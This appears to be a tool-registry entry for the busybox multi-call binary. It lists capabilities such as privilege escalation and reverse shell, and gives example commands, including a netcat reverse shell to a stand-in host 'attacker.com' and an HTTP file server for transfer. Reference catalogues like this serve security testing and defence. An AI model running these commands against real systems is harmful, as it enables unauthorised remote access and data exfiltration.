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busybox

Multi-call binary that combines many Unix utilities in a single executable for embedded systems.

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Capabilities

security.privilege-escalation.shell
security.execution.command
security.execution.reverse-shell
network.transfer.upload
system.file.read
system.file.write

Contract

Inputs

system.command.string

BusyBox applet and arguments

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Consumes

system.command.string

Resource Profile

ResourceValue
CPUlow
Memory2 MB
Networklow
Disk I/Olow

Examples

Spawn interactive ash shell via busybox

busybox ash

Spawn reverse shell via busybox nc

busybox nc -e /bin/sh attacker.com 12345

Serve files via HTTP for upload

busybox httpd -f -p 12345 -h .

Read file via busybox cat

busybox cat /path/to/input-file

Documentation

BusyBox — Multi-Call Binary

BusyBox combines many common Unix utilities into a single executable. Run busybox --list-full to see all available applets. It is especially useful in embedded systems and container environments for privilege escalation and file transfer.

Related Tools

ashcatncbash

References